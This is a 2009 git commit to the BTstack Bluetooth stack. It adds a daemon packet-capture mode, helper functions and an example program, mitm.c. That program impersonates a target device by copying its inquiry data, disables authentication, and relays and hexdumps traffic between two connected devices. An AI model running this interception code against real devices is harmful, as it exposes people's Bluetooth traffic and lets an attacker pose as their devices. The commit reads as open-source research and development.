added capture mode to get all ACL packets from client app, started BTstack Man-in-the-Middle implementation

This commit is contained in:
matthias.ringwald 2009-08-24 21:56:12 +00:00
parent c1f4fa9737
commit 9edc874259
13 changed files with 262 additions and 13 deletions

View File

@ -5,8 +5,8 @@ Last milestone reached: Restart client app without restarting BTdaemon possible
NEXT:
- autostart by launchd: ch.ringwald.BTstack.plist
- get it to work on iPhone
- launchd check in neccessary?
- set path for stdout
- read kevent docu in chapter 9
- follow Mac OS X Interal exampe of using kevent to accept connections
- better deal with Apple stack
- detect if it is running
- figure out how to shut it down

View File

@ -1,4 +1,5 @@
bin_PROGRAMS = test
bin_PROGRAMS = test mitm
test_SOURCES = test.c \
../src/btstack.c \
../src/hci_cmds.c \
@ -6,3 +7,11 @@ test_SOURCES = test.c \
../src/run_loop.c \
../src/socket_connection.c \
../src/utils.c
mitm_SOURCES = mitm.c \
../src/btstack.c \
../src/hci_cmds.c \
../src/linked_list.c \
../src/run_loop.c \
../src/socket_connection.c \
../src/utils.c

181
example/mitm.c Normal file
View File

@ -0,0 +1,181 @@
/*
* test.c
*
* Created by Matthias Ringwald on 7/14/09.
*/
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <strings.h>
#include "../src/btstack.h"
#include "../src/run_loop.h"
#include "../src/hci.h"
#define EIR_LEN 240
bd_addr_t addr;
bd_addr_t temp_addr;
uint8_t got_EIR = 0;
uint8_t bob_EIR[EIR_LEN];
hci_con_handle_t bob_handle = 0;
hci_con_handle_t alice_handle = 0;
uint16_t clock_offset;
uint8_t page_scan_repetition_mode;
uint8_t inquiry_done = 0;
hci_con_handle_t con_handle;
uint16_t source_cid_interrupt;
uint16_t source_cid_control;
void data_handler(uint8_t *packet, uint16_t size){
hci_con_handle_t in = READ_ACL_CONNECTION_HANDLE(packet);
hci_con_handle_t out = 0;
if (in == alice_handle) {
printf("Alice: ");
hexdump( packet, size );
printf("\n\n");
out = bob_handle;
}
if (in == bob_handle) {
printf("Bob: ");
hexdump( packet, size );
printf("\n\n");
out = alice_handle;
}
if (out){
bt_store_16( packet, 0, (READ_BT_16(packet, 0) & 0xf000) | out);
bt_send_acl_packet(packet, size);
}
}
void event_handler(uint8_t *packet, uint16_t size){
// bt stack activated, get started - set local name
if (packet[0] == HCI_EVENT_BTSTACK_WORKING ||
(packet[0] == HCI_EVENT_BTSTACK_STATE && packet[2] == HCI_STATE_WORKING)) {
bt_send_cmd(&hci_write_local_name, "BTstack-in-the-Middle");
}
// use pairing yes/no
if ( COMMAND_COMPLETE_EVENT(packet, hci_write_local_name) ) {
bt_send_cmd(&hci_write_authentication_enable, 0);
}
// allow Extended Inquiry responses
if ( COMMAND_COMPLETE_EVENT(packet, hci_write_authentication_enable) ) {
bt_send_cmd(&hci_write_inquiry_mode, 2);
}
// get all events, including EIRs
if ( COMMAND_COMPLETE_EVENT(packet, hci_write_inquiry_mode) ) {
bt_send_cmd(&hci_set_event_mask, 0xffffffff, 0x1fffffff);
}
// start inquiry
if ( COMMAND_COMPLETE_EVENT(packet, hci_set_event_mask) ) {
// enable capure
bt_send_cmd(&btstack_set_acl_capture_mode, 1);
printf("Starting inquiry to get EIR from BOB\n");
bt_send_cmd(&hci_inquiry, HCI_INQUIRY_LAP, 15, 0);
}
// process EIR responses
if (packet[0] == HCI_EVENT_EXTENDED_INQUIRY_RESPONSE && packet[17] && !got_EIR) {
printf("Got EIR from BOB\n");
memcpy(bob_EIR, &packet[17], EIR_LEN);
got_EIR = 1;
clock_offset = READ_BT_16(packet, 14);
page_scan_repetition_mode = packet[9];
// stop inquiry
bt_send_cmd(&hci_inquiry_cancel);
}
// Inquiry done, set EIR
if (packet[0] == HCI_EVENT_INQUIRY_COMPLETE || COMMAND_COMPLETE_EVENT(packet, hci_inquiry_cancel)){
if (!inquiry_done){
inquiry_done = 1;
printf("Inquiry Complete, got EIR %u\n", got_EIR);
if (got_EIR){
printf("Set own EIR to Bob's.\n");
bt_send_cmd(&hci_write_extended_inquiry_response, 0, bob_EIR);
}
}
}
// Connect to BOB
if ( COMMAND_COMPLETE_EVENT(packet, hci_write_extended_inquiry_response) ) {
printf("Now start Alice!...\n");
// bt_send_cmd(&hci_create_connection, &addr, 0x18, page_scan_repetition_mode, 0, 0x8000 || clock_offset, 0);
}
// accept incoming connections
if (packet[0] == HCI_EVENT_CONNECTION_REQUEST){
printf("Connection request from ");
bt_flip_addr(temp_addr, &packet[2]);
print_bd_addr(temp_addr);
printf("\n");
bt_send_cmd(&hci_accept_connection_request, &temp_addr, 1);
}
// handle connections
if (packet[0] == HCI_EVENT_CONNECTION_COMPLETE) {
if (packet[2] == 0){
if (!alice_handle) {
alice_handle = READ_BT_16(packet, 3);
printf("Alice connected (handle %u). Connecting BOB!\n", alice_handle);
bt_send_cmd(&hci_create_connection, &addr, 0x18, page_scan_repetition_mode, 0, 0x8000 || clock_offset, 0);
} else {
bob_handle = READ_BT_16(packet, 3);
printf("Connected to BOB (handle %u). Relayaing data!\n", bob_handle);
}
} else {
printf("Connection complete status %u\n", packet[2]);
}
}
// inform about pin code request
if (packet[0] == HCI_EVENT_PIN_CODE_REQUEST){
printf("Please enter PIN 1234 on remote device\n");
}
// connection closed -> quit tes app
if (packet[0] == HCI_EVENT_DISCONNECTION_COMPLETE) {
printf("Basebank connection closed, exit.\n");
exit(0);
}
}
int main (int argc, const char * argv[]){
// parse addr of Bob
uint8_t ok = 0;
if (argc >= 2) {
ok = sscan_bd_addr((uint8_t *) argv[1], addr);
}
if (!ok) {
printf("Usage: mitm 12:34:56:78:9A:BC\n");
exit(0);
}
// start stack
int err = bt_open();
if (err) {
printf("Failed to open connection to BTdaemon\n");
return err;
}
printf("BTstack-in-the-Middle started, will pretend to be BOB (");
print_bd_addr(addr);
printf(")\n");
bt_register_event_packet_handler(event_handler);
bt_register_data_packet_handler(data_handler);
bt_send_cmd(&btstack_set_power_mode, HCI_POWER_ON );
run_loop_execute();
bt_close();
}

View File

@ -14,6 +14,7 @@
9C00F86510191097008DAB17 /* utils.c in Sources */ = {isa = PBXBuildFile; fileRef = 9C00F86210191097008DAB17 /* utils.c */; };
9C00F87410191130008DAB17 /* l2cap_signaling.c in Sources */ = {isa = PBXBuildFile; fileRef = 9C00F87210191130008DAB17 /* l2cap_signaling.c */; };
9C05FC971020D3F300255261 /* socket_connection.c in Sources */ = {isa = PBXBuildFile; fileRef = 9C00F7301017ACC3008DAB17 /* socket_connection.c */; };
9C1813F81042FCCA00C68F09 /* mitm.c in Sources */ = {isa = PBXBuildFile; fileRef = 9C1813F71042FCCA00C68F09 /* mitm.c */; };
9C1F0E9A0FDAE023008F472F /* run_loop.c in Sources */ = {isa = PBXBuildFile; fileRef = 9C1F0E980FDAE023008F472F /* run_loop.c */; };
9C2071F310014D3200A07EA4 /* hci_transport_usb.c in Sources */ = {isa = PBXBuildFile; fileRef = 9C2071F210014D3200A07EA4 /* hci_transport_usb.c */; };
9C46FC3A0FA906F700ABEF05 /* hci_transport_h4.c in Sources */ = {isa = PBXBuildFile; fileRef = 9C46FC360FA906F700ABEF05 /* hci_transport_h4.c */; };
@ -53,6 +54,7 @@
9C00F86310191097008DAB17 /* utils.h */ = {isa = PBXFileReference; fileEncoding = 5; lastKnownFileType = sourcecode.c.h; name = utils.h; path = src/utils.h; sourceTree = "<group>"; };
9C00F87110191130008DAB17 /* l2cap_signaling.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; name = l2cap_signaling.h; path = src/l2cap_signaling.h; sourceTree = "<group>"; };
9C00F87210191130008DAB17 /* l2cap_signaling.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = l2cap_signaling.c; path = src/l2cap_signaling.c; sourceTree = "<group>"; };
9C1813F71042FCCA00C68F09 /* mitm.c */ = {isa = PBXFileReference; fileEncoding = 5; lastKnownFileType = sourcecode.c.c; name = mitm.c; path = example/mitm.c; sourceTree = "<group>"; };
9C1F0E980FDAE023008F472F /* run_loop.c */ = {isa = PBXFileReference; fileEncoding = 5; lastKnownFileType = sourcecode.c.c; name = run_loop.c; path = src/run_loop.c; sourceTree = "<group>"; };
9C1F0E990FDAE023008F472F /* run_loop.h */ = {isa = PBXFileReference; fileEncoding = 5; lastKnownFileType = sourcecode.c.h; name = run_loop.h; path = src/run_loop.h; sourceTree = "<group>"; };
9C2071F210014D3200A07EA4 /* hci_transport_usb.c */ = {isa = PBXFileReference; fileEncoding = 5; lastKnownFileType = sourcecode.c.c; name = hci_transport_usb.c; path = src/hci_transport_usb.c; sourceTree = "<group>"; };
@ -182,6 +184,7 @@
9C7B5B81100D04520065D87E /* Example */ = {
isa = PBXGroup;
children = (
9C1813F71042FCCA00C68F09 /* mitm.c */,
9C7B5B7E100D04450065D87E /* test.c */,
);
name = Example;
@ -269,6 +272,7 @@
9C00F87410191130008DAB17 /* l2cap_signaling.c in Sources */,
9CCE6CEA1025BD0000FCE9F4 /* hci.c in Sources */,
9C6459E01037554B0081A00B /* platform_iphone.m in Sources */,
9C1813F81042FCCA00C68F09 /* mitm.c in Sources */,
);
runOnlyForDeploymentPostprocessing = 0;
};

View File

@ -61,7 +61,9 @@ int btstack_packet_handler(connection_t *connection, uint16_t packet_type, uint1
case HCI_EVENT_PACKET:
(*event_packet_handler)(data, size);
break;
// TODO use different handler, or use packet type parameter
case HCI_ACL_DATA_PACKET:
case L2CAP_DATA_PACKET:
(*acl_packet_handler)(data, size);
break;
default:
@ -87,3 +89,7 @@ void l2cap_send(uint16_t source_cid, uint8_t *data, uint16_t len){
socket_connection_send_packet(btstack_connection, L2CAP_DATA_PACKET, source_cid, data, len);
}
void bt_send_acl_packet(uint8_t * data, uint16_t len){
// send
socket_connection_send_packet(btstack_connection, HCI_ACL_DATA_PACKET, 0, data, len);
}

View File

@ -27,4 +27,5 @@ int bt_send_cmd(hci_cmd_t *cmd, ...);
void bt_register_event_packet_handler(void (*handler)(uint8_t *packet, uint16_t size));
void bt_register_data_packet_handler (void (*handler)(uint8_t *packet, uint16_t size));
void bt_send_acl_packet(uint8_t * data, uint16_t len);
void l2cap_send(uint16_t source_cid, uint8_t *data, uint16_t len);

View File

@ -72,6 +72,13 @@ static int btstack_command_handler(connection_t *connection, uint8_t *packet, ui
case HCI_BTSTACK_SET_POWER_MODE:
hci_power_control(packet[3]);
break;
case HCI_BTSTACK_SET_ACL_CAPTURE_MODE:
if (packet[3]) {
l2cap_set_capture_connection(connection);
} else {
l2cap_set_capture_connection(NULL);
}
break;
case L2CAP_CREATE_CHANNEL:
bt_flip_addr(addr, &packet[3]);
psm = READ_BT_16(packet, 9);
@ -101,6 +108,9 @@ static int daemon_client_handler(connection_t *connection, uint16_t packet_type,
btstack_command_handler(connection, data, length);
}
break;
case HCI_ACL_DATA_PACKET:
hci_send_acl_packet(data, length);
break;
case L2CAP_DATA_PACKET:
// process l2cap packet...
l2cap_send_internal(channel, data, length);
@ -184,7 +194,7 @@ int main (int argc, const char * argv[]){
// @TODO: allow configuration per HCI CMD
// use logger: format HCI_DUMP_PACKETLOGGER, HCI_DUMP_BLUEZ or HCI_DUMP_STDOUT
// hci_dump_open("/tmp/hci_dump.pklg", HCI_DUMP_PACKETLOGGER);
hci_dump_open("/tmp/hci_dump.pklg", HCI_DUMP_PACKETLOGGER);
// hci_dump_open(NULL, HCI_DUMP_STDOUT);
// init HCI

View File

@ -215,6 +215,11 @@ OPCODE(OGF_BTSTACK, HCI_BTSTACK_SET_POWER_MODE), "1"
// mode: 0 = off, 1 = on
};
hci_cmd_t btstack_set_acl_capture_mode = {
OPCODE(OGF_BTSTACK, HCI_BTSTACK_SET_ACL_CAPTURE_MODE), "1"
// mode: 0 = off, 1 = on
};
hci_cmd_t l2cap_create_channel = {
OPCODE(OGF_BTSTACK, L2CAP_CREATE_CHANNEL), "B2"
// @param bd_addr(48), psm (16)

View File

@ -38,11 +38,14 @@
// set power mode: @param HCI_POWER_MODE
#define HCI_BTSTACK_SET_POWER_MODE 0x02
// set capture mode: @param on
#define HCI_BTSTACK_SET_ACL_CAPTURE_MODE 0x03
// create l2cap channel: @param bd_addr(48), psm (16)
#define L2CAP_CREATE_CHANNEL 0x03
#define L2CAP_CREATE_CHANNEL 0x20
// disconnect l2cap disconnect, @param channel(16), reason(8)
#define L2CAP_DISCONNECT 0x04
#define L2CAP_DISCONNECT 0x21
// Events from host controller to host
#define HCI_EVENT_INQUIRY_COMPLETE 0x01
@ -74,6 +77,7 @@
#define HCI_EVENT_READ_CLOCK_OFFSET_COMPLETE 0x1C
#define HCI_EVENT_PACKET_TYPE_CHANGED 0x1D
#define HCI_EVENT_INQUIRY_RESULT_WITH_RSSI 0x22
#define HCI_EVENT_EXTENDED_INQUIRY_RESPONSE 0x2F
#define HCI_EVENT_VENDOR_SPECIFIC 0xFF
// events from BTstack for application/client lib
@ -164,5 +168,6 @@ extern hci_cmd_t hci_write_simple_pairing_mode;
// BTSTACK client/server commands - see hci.c for info on parameters
extern hci_cmd_t btstack_get_state;
extern hci_cmd_t btstack_set_power_mode;
extern hci_cmd_t btstack_set_acl_capture_mode;
extern hci_cmd_t l2cap_create_channel;
extern hci_cmd_t l2cap_disconnect;

View File

@ -21,6 +21,7 @@ static linked_list_t l2cap_channels = NULL;
static uint8_t * acl_buffer = NULL;
static void (*event_packet_handler) (uint8_t *packet, uint16_t size) = null_event_handler;
static void (*data_packet_handler) (uint16_t source_cid, uint8_t *packet, uint16_t size) = null_data_handler;
static connection_t * capture_connection = NULL;
void l2cap_init(){
sig_buffer = malloc( 48 );
@ -152,11 +153,10 @@ void l2cap_event_handler( uint8_t *packet, uint16_t size ){
}
}
if (!used) {
hci_send_cmd(&hci_disconnect, handle, 0x13); // remote closd connection
hci_send_cmd(&hci_disconnect, handle, 0x13); // remote closed connection
}
}
// forward to higher layers
(*event_packet_handler)(packet, size);
}
@ -264,6 +264,14 @@ void l2cap_emit_channel_closed(l2cap_channel_t *channel) {
void l2cap_acl_handler( uint8_t *packet, uint16_t size ){
// Capturing?
if (capture_connection) {
socket_connection_send_packet(capture_connection, HCI_ACL_DATA_PACKET, 0, packet, size);
}
// forward to higher layers - not needed yet
// (*data_packet_handler)(channel_id, packet, size);
// Get Channel ID and command code
uint16_t channel_id = READ_L2CAP_CHANNEL_ID(packet);
uint8_t code = READ_L2CAP_SIGNALING_CODE( packet );
@ -307,11 +315,8 @@ void l2cap_acl_handler( uint8_t *packet, uint16_t size ){
// Find channel for this channel_id and connection handle
l2cap_channel_t * channel = l2cap_get_channel_for_source_cid(channel_id);
if (channel) {
socket_connection_send_packet(channel->connection, HCI_ACL_DATA_PACKET, 0, packet, size);
socket_connection_send_packet(channel->connection, L2CAP_DATA_PACKET, 0, packet, size);
}
// forward to higher layers
(*data_packet_handler)(channel_id, packet, size);
}
@ -334,4 +339,7 @@ void l2cap_send_internal(uint16_t source_cid, uint8_t *data, uint16_t len){
}
}
void l2cap_set_capture_connection(connection_t * connection){
capture_connection = connection;
}

View File

@ -55,6 +55,8 @@ void l2cap_send_internal(uint16_t source_cid, uint8_t *data, uint16_t len);
void l2cap_acl_handler( uint8_t *packet, uint16_t size );
void l2cap_event_handler( uint8_t *packet, uint16_t size );
void l2cap_set_capture_connection(connection_t * connection);
void l2cap_finialize_channel_close(l2cap_channel_t *channel);
void l2cap_close_channels_for_connection(connection_t *connection);

View File

@ -8,6 +8,7 @@
#include "utils.h"
#include <stdio.h>
#include <strings.h>
void bt_store_16(uint8_t *buffer, uint16_t pos, uint16_t value){
buffer[pos++] = value;
@ -46,3 +47,19 @@ void print_bd_addr( bd_addr_t addr){
printf("%02X", ((uint8_t *)addr)[i]);
}
int sscan_bd_addr(uint8_t * addr_string, bd_addr_t addr){
int bd_addr_buffer[BD_ADDR_LEN]; //for sscanf, integer needed
// reset result buffer
int i;
bzero(bd_addr_buffer, sizeof(bd_addr_buffer));
// parse
int result = sscanf( (char *) addr_string, "%2x:%2x:%2x:%2x:%2x:%2x", &bd_addr_buffer[0], &bd_addr_buffer[1], &bd_addr_buffer[2],
&bd_addr_buffer[3], &bd_addr_buffer[4], &bd_addr_buffer[5]);
// store
if (result == 6){
for (i = 0; i < BD_ADDR_LEN; i++) {
addr[i] = (uint8_t) bd_addr_buffer[i];
}
}
return (result == 6);
}

View File

@ -53,7 +53,8 @@ void bt_store_32(uint8_t *buffer, uint16_t pos, uint32_t value);
void bt_flip_addr(bd_addr_t dest, bd_addr_t src);
void hexdump(void *data, int size);
void print_bd_addr( bd_addr_t addr);
void print_bd_addr(bd_addr_t addr);
int sscan_bd_addr(uint8_t * addr_string, bd_addr_t addr);
#define BD_ADDR_CMP(a,b) memcmp(a,b, BD_ADDR_LEN)
#define BD_ADDR_COPY(dest,src) memcpy(dest,src,BD_ADDR_LEN)